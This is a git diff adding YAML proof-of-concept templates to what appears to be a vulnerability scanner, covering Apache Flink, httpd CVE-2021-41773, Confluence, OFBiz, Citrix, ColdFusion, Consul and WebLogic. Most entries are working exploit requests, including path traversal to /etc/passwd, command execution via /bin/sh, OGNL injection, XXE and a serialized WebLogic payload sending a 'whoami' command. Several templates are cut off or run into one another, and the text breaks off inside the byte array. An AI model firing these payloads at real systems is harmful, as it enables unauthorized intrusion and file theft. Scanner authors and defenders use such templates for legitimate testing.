+ expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"for 16-bit app support")
+detail:
+ author: iak3ec(https://github.com/nu0l)
+ links:
+ - https://mp.weixin.qq.com/s/Fl2hSO-y60VsTi5YJFyl0w
diff --git a/core/pocScan/pocs/apache-flink-upload-rce.yml b/core/pocScan/pocs/apache-flink-upload-rce.yml
new file mode 100644
index 0000000..8ea773c
--- /dev/null
+++ b/core/pocScan/pocs/apache-flink-upload-rce.yml
@@ -0,0 +1,36 @@
+name: poc-yaml-apache-flink-upload-rce
+set:
+ r1: randomLowercase(8)
+ r2: randomLowercase(4)
+rules:
+ - method: GET
+ path: /jars
+ follow_redirects: true
+ expression: >
+ response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"address") && response.body.bcontains(b"files")
+ - method: POST
+ path: /jars/upload
+ headers:
+ Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
+ body: |-
+ --8ce4b16b22b58894aa86c421e8759df3
+ Content-Disposition: form-data; name="jarfile";filename="{{r2}}.jar"
+ Content-Type:application/octet-stream
+
+ {{r1}}
+ --8ce4b16b22b58894aa86c421e8759df3--
+
+ follow_redirects: true
+ expression: >
+ response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
+ search: >-
+ (?P([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
+ - method: DELETE
+ path: '/jars/{{filen}}'
+ follow_redirects: true
+ expression: |
+ response.status == 200
+detail:
+ author: timwhite
+ links:
+ - https://github.com/LandGrey/flink-unauth-rce
diff --git a/core/pocScan/pocs/apache-httpd-cve-2021-40438-ssrf.yml b/core/pocScan/pocs/apache-httpd-cve-2021-40438-ssrf.yml
new file mode 100644
index 0000000..387129e
--- /dev/null
+++ b/core/pocScan/pocs/apache-httpd-cve-2021-40438-ssrf.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-apache-httpd-cve-2021-40438-ssrf
+manual: true
+transport: http
+rules:
+ - method: GET
+ path: /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://baidu.com/api/v1/targets
+ follow_redirects: false
+ expression: response.status == 302 && response.headers["Location"] == "http://www.baidu.com/search/error.html"
+detail:
+ author: Jarcis-cy(https://github.com/Jarcis-cy)
+ links:
+ - https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-40438
diff --git a/core/pocScan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml b/core/pocScan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml
new file mode 100644
index 0000000..35618a6
--- /dev/null
+++ b/core/pocScan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml
@@ -0,0 +1,16 @@
+name: poc-yaml-apache-httpd-cve-2021-41773-path-traversal
+groups:
+ cgibin:
+ - method: GET
+ path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
+ expression: |
+ response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+ icons:
+ - method: GET
+ path: /icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
+ expression: |
+ response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+detail:
+ author: JingLing(https://github.com/shmilylty)
+ links:
+ - https://mp.weixin.qq.com/s/XEnjVwb9I0GPG9RG-v7lHQ
\ No newline at end of file
diff --git a/core/pocScan/pocs/apache-httpd-cve-2021-41773-rce.yml b/core/pocScan/pocs/apache-httpd-cve-2021-41773-rce.yml
new file mode 100644
index 0000000..f6ebbba
--- /dev/null
+++ b/core/pocScan/pocs/apache-httpd-cve-2021-41773-rce.yml
@@ -0,0 +1,14 @@
+name: poc-yaml-apache-httpd-cve-2021-41773-rce
+set:
+ r1: randomInt(800000000, 1000000000)
+ r2: randomInt(800000000, 1000000000)
+rules:
+ - method: POST
+ path: /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
+ body: echo;expr {{r1}} + {{r2}}
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
+detail:
+ author: B1anda0(https://github.com/B1anda0)
+ links:
+ - https://nvd.nist.gov/vuln/detail/CVE-2021-41773
diff --git a/core/pocScan/pocs/apache-kylin-unauth-cve-2020-13937.yml b/core/pocScan/pocs/apache-kylin-unauth-cve-2020-13937.yml
new file mode 100644
index 0000000..61dfc3b
--- /dev/null
+++ b/core/pocScan/pocs/apache-kylin-unauth-cve-2020-13937.yml
@@ -0,0 +1,10 @@
+name: poc-yaml-apache-kylin-unauth-cve-2020-13937
+rules:
+ - method: GET
+ path: /kylin/api/admin/config
+ expression: |
+ response.status == 200 && response.headers["Content-Type"].contains("application/json") && response.body.bcontains(b"config") && response.body.bcontains(b"kylin.metadata.url")
+detail:
+ author: JingLing(github.com/shmilylty)
+ links:
+ - https://s.tencent.com/research/bsafe/1156.html
diff --git a/core/pocScan/pocs/apache-nifi-api-unauthorized-access.yml b/core/pocScan/pocs/apache-nifi-api-unauthorized-access.yml
new file mode 100644
index 0000000..59e2537
--- /dev/null
+++ b/core/pocScan/pocs/apache-nifi-api-unauthorized-access.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-apache-nifi-api-unauthorized-access
+manual: true
+transport: http
+rules:
+ - method: GET
+ path: /nifi-api/flow/current-user
+ follow_redirects: false
+ expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"identity\":\"anonymous\",\"anonymous\":true")
+detail:
+ author: wulalalaaa(https://github.com/wulalalaaa)
+ links:
+ - https://nifi.apache.org/docs/nifi-docs/rest-api/index.html
diff --git a/core/pocScan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml b/core/pocScan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml
new file mode 100644
index 0000000..50b63f9
--- /dev/null
+++ b/core/pocScan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml
@@ -0,0 +1,15 @@
+name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe
+rules:
+ - method: POST
+ path: /webtools/control/xmlrpc
+ headers:
+ Content-Type: application/xml
+ body: >-
+ ]>&disclose;
+ follow_redirects: false
+ expression: >
+ response.status == 200 && response.content_type.contains("text/xml") && "root:[x*]:0:0:".bmatches(response.body)
+detail:
+ author: su(https://suzzz112113.github.io/#blog)
+ links:
+ - https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
diff --git a/core/pocScan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml b/core/pocScan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml
new file mode 100644
index 0000000..fe264a4
--- /dev/null
+++ b/core/pocScan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml
@@ -0,0 +1,19 @@
+name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization
+set:
+ rand: randomInt(200000000, 210000000)
+rules:
+ - method: POST
+ path: /webtools/control/xmlrpc
+ headers:
+ Content-Type: application/xml
+ body: >-
+ {{rand}}dwisiswant0
+ follow_redirects: false
+ expression: >
+ response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
+detail:
+ author: su(https://suzzz112113.github.io/#blog)
+ links:
+ - https://lists.apache.org/thread.html/r84ccbfc67bfddd35dced494a1f1cba504f49ac60a2a2ae903c5492c3%40%3Cdev.ofbiz.apache.org%3E
+ - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb
diff --git a/core/pocScan/pocs/aspcms-backend-leak.yml b/core/pocScan/pocs/aspcms-backend-leak.yml
new file mode 100644
index 0000000..1a4b888
--- /dev/null
+++ b/core/pocScan/pocs/aspcms-backend-leak.yml
@@ -0,0 +1,16 @@
+name: poc-yaml-aspcms-backend-leak
+rules:
+ - method: GET
+ path: /plug/oem/AspCms_OEMFun.asp
+ expression: |
+ response.status == 200 && "")) && response.body.bcontains(b"citrix")
+detail:
+ author: JingLing(https://hackfun.org/)
+ links:
+ - https://support.citrix.com/article/CTX276688
+ - https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/
+ - https://dmaasland.github.io/posts/citrix.html
diff --git a/core/pocScan/pocs/citrix-cve-2020-8193-unauthorized.yml b/core/pocScan/pocs/citrix-cve-2020-8193-unauthorized.yml
new file mode 100644
index 0000000..3f02963
--- /dev/null
+++ b/core/pocScan/pocs/citrix-cve-2020-8193-unauthorized.yml
@@ -0,0 +1,20 @@
+name: poc-yaml-citrix-cve-2020-8193-unauthorized
+set:
+ user: randomLowercase(8)
+ pass: randomLowercase(8)
+rules:
+ - method: POST
+ path: "/pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1"
+ headers:
+ Content-Type: application/xml
+ X-NITRO-USER: '{{user}}'
+ X-NITRO-PASS: '{{pass}}'
+ body:
+ follow_redirects: false
+ expression: >
+ response.status == 406 && "(?i)SESSID=\\w{32}".bmatches(bytes(response.headers["Set-Cookie"]))
+detail:
+ author: bufsnake(https://github.com/bufsnake)
+ links:
+ - https://github.com/PR3R00T/CVE-2020-8193-Citrix-Scanner/blob/master/scanner.py
+ - https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html
diff --git a/core/pocScan/pocs/citrix-xenmobile-cve-2020-8209.yml b/core/pocScan/pocs/citrix-xenmobile-cve-2020-8209.yml
new file mode 100644
index 0000000..2b00ade
--- /dev/null
+++ b/core/pocScan/pocs/citrix-xenmobile-cve-2020-8209.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-citrix-xenmobile-cve-2020-8209
+rules:
+ - method: GET
+ path: /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.content_type.contains("octet-stream") && "^root:[x*]:0:0:".bmatches(response.body)
+detail:
+ author: B1anda0(https://github.com/B1anda0)
+ links:
+ - https://nvd.nist.gov/vuln/detail/CVE-2020-8209
diff --git a/core/pocScan/pocs/coldfusion-cve-2010-2861-lfi.yml b/core/pocScan/pocs/coldfusion-cve-2010-2861-lfi.yml
new file mode 100644
index 0000000..e5982f4
--- /dev/null
+++ b/core/pocScan/pocs/coldfusion-cve-2010-2861-lfi.yml
@@ -0,0 +1,13 @@
+name: poc-yaml-coldfusion-cve-2010-2861-lfi
+rules:
+ - method: GET
+ path: >-
+ /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(b"rdspassword=") && response.body.bcontains(b"encrypted=")
+detail:
+ version: 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions
+ author: sharecast
+ links:
+ - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
\ No newline at end of file
diff --git a/core/pocScan/pocs/confluence-cve-2015-8399.yml b/core/pocScan/pocs/confluence-cve-2015-8399.yml
new file mode 100644
index 0000000..5fa729a
--- /dev/null
+++ b/core/pocScan/pocs/confluence-cve-2015-8399.yml
@@ -0,0 +1,10 @@
+name: poc-yaml-confluence-cve-2015-8399
+rules:
+ - method: GET
+ path: /spaces/viewdefaultdecorator.action?decoratorName
+ follow_redirects: false
+ expression: response.status == 200 && response.body.bcontains(b"confluence-init.properties") && response.body.bcontains(b"View Default Decorator")
+detail:
+ author: whynot(https://github.com/notwhy)
+ links:
+ - https://www.anquanke.com/vul/id/1150798
\ No newline at end of file
diff --git a/core/pocScan/pocs/confluence-cve-2019-3396-lfi.yml b/core/pocScan/pocs/confluence-cve-2019-3396-lfi.yml
new file mode 100644
index 0000000..3a5b901
--- /dev/null
+++ b/core/pocScan/pocs/confluence-cve-2019-3396-lfi.yml
@@ -0,0 +1,17 @@
+name: poc-yaml-confluence-cve-2019-3396-lfi
+rules:
+ - method: POST
+ path: /rest/tinymce/1/macro/preview
+ headers:
+ Content-Type: "application/json"
+ Host: localhost
+ Referer: http://localhost
+ body: >-
+ {"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"../web.xml"}}}
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(b"contextConfigLocation")
+detail:
+ author: sharecast
+ links:
+ - https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
\ No newline at end of file
diff --git a/core/pocScan/pocs/confluence-cve-2021-26084.yml b/core/pocScan/pocs/confluence-cve-2021-26084.yml
new file mode 100644
index 0000000..412edda
--- /dev/null
+++ b/core/pocScan/pocs/confluence-cve-2021-26084.yml
@@ -0,0 +1,15 @@
+name: poc-yaml-confluence-cve-2021-26084
+set:
+ r1: randomInt(100000, 999999)
+ r2: randomInt(100000, 999999)
+rules:
+ - method: POST
+ path: /pages/createpage-entervariables.action?SpaceKey=x
+ body: |
+ queryString=\u0027%2b%7b{{r1}}%2B{{r2}}%7d%2b\u0027
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
+detail:
+ author: Loneyer(https://github.com/Loneyers)
+ links:
+ - https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
diff --git a/core/pocScan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml b/core/pocScan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml
new file mode 100644
index 0000000..1dcb230
--- /dev/null
+++ b/core/pocScan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-confluence-cve-2021-26085-arbitrary-file-read
+set:
+ rand: randomLowercase(6)
+rules:
+ - method: GET
+ path: /s/{{rand}}/_/;/WEB-INF/web.xml
+ follow_redirects: false
+ expression: response.status == 200 && response.body.bcontains(b"Confluence") && response.body.bcontains(b"com.atlassian.confluence.setup.ConfluenceAppConfig")
+detail:
+ author: wulalalaaa(https://github.com/wulalalaaa)
+ links:
+ - https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
diff --git a/core/pocScan/pocs/consul-rexec-rce.yml b/core/pocScan/pocs/consul-rexec-rce.yml
new file mode 100644
index 0000000..4ab8c55
--- /dev/null
+++ b/core/pocScan/pocs/consul-rexec-rce.yml
@@ -0,0 +1,10 @@
+name: poc-yaml-consul-rexec-rce
+rules:
+ - method: GET
+ path: /v1/agent/self
+ expression: |
+ response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"DisableRemoteExec\": false")
+detail:
+ author: imlonghao(https://imlonghao.com/)
+ links:
+ - https://www.exploit-db.com/exploits/46073
diff --git a/core/pocScan/pocs/consul-service-rce.yml b/core/pocScan/pocs/consul-service-rce.yml
new file mode 100644
index 0000000..8426cac
--- /dev/null
+++ b/core/pocScan/pocs/consul-service-rce.yml
@@ -0,0 +1,10 @@
+name: poc-yaml-consul-service-rce
+rules:
+ - method: GET
+ path: /v1/agent/self
+ expression: |
+ response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"EnableScriptChecks\": true") || response.body.bcontains(b"\"EnableRemoteScriptChecks\": true")
+detail:
+ author: imlonghao(https://imlonghao.com/)
+ links:
+ - https://www.exploit-db.com/exploits/46074
diff --git a/core/pocScan/pocs/coremail-cnvd-2019-16798.yml b/core/pocScan/pocs/coremail-cnvd-2019-16798.yml
new file mode 100644
index 0000000..097f5fa
--- /dev/null
+++ b/core/pocScan/pocs/coremail-cnvd-2019-16798.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-coremail-cnvd-2019-16798
+rules:
+ - method: GET
+ path: >-
+ /mailsms/s?func=ADMIN:appState&dumpConfig=/
+ follow_redirects: false
+ expression: >
+ response.status == 200 && response.body.bcontains(bytes("
+ follow_redirects: true
+ expression: >
+ response.body.bcontains(b"225773091")
+ v10:
+ - method: POST
+ path: /wls-wsat/CoordinatorPortType
+ headers:
+ Content-Type: text/xml
+ cmd: whoami
+ body: |-
+
+
+
+
+
+
+
+
+ oracle.toplink.internal.sessions.UnitOfWorkChangeSet
+
+
+
+ -84
+
+
+ -19
+
+
+ 0
+
+
+ 5
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 23
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 107
+
+
+ 101
+
+
+ 100
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 83
+
+
+ 101
+
+
+ 116
+
+
+ -40
+
+
+ 108
+
+
+ -41
+
+
+ 90
+
+
+ -107
+
+
+ -35
+
+
+ 42
+
+
+ 30
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 114
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 83
+
+
+ 101
+
+
+ 116
+
+
+ -70
+
+
+ 68
+
+
+ -123
+
+
+ -107
+
+
+ -106
+
+
+ -72
+
+
+ -73
+
+
+ 52
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 119
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 16
+
+
+ 63
+
+
+ 64
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 58
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 46
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 46
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 46
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 46
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 46
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 46
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 9
+
+
+ 87
+
+
+ 79
+
+
+ -63
+
+
+ 110
+
+
+ -84
+
+
+ -85
+
+
+ 51
+
+
+ 3
+
+
+ 0
+
+
+ 9
+
+
+ 73
+
+
+ 0
+
+
+ 13
+
+
+ 95
+
+
+ 105
+
+
+ 110
+
+
+ 100
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 73
+
+
+ 0
+
+
+ 14
+
+
+ 95
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 73
+
+
+ 110
+
+
+ 100
+
+
+ 101
+
+
+ 120
+
+
+ 90
+
+
+ 0
+
+
+ 21
+
+
+ 95
+
+
+ 117
+
+
+ 115
+
+
+ 101
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 105
+
+
+ 99
+
+
+ 101
+
+
+ 115
+
+
+ 77
+
+
+ 101
+
+
+ 99
+
+
+ 104
+
+
+ 97
+
+
+ 110
+
+
+ 105
+
+
+ 115
+
+
+ 109
+
+
+ 76
+
+
+ 0
+
+
+ 25
+
+
+ 95
+
+
+ 97
+
+
+ 99
+
+
+ 99
+
+
+ 101
+
+
+ 115
+
+
+ 115
+
+
+ 69
+
+
+ 120
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 83
+
+
+ 116
+
+
+ 121
+
+
+ 108
+
+
+ 101
+
+
+ 115
+
+
+ 104
+
+
+ 101
+
+
+ 101
+
+
+ 116
+
+
+ 116
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 11
+
+
+ 95
+
+
+ 97
+
+
+ 117
+
+
+ 120
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 59
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
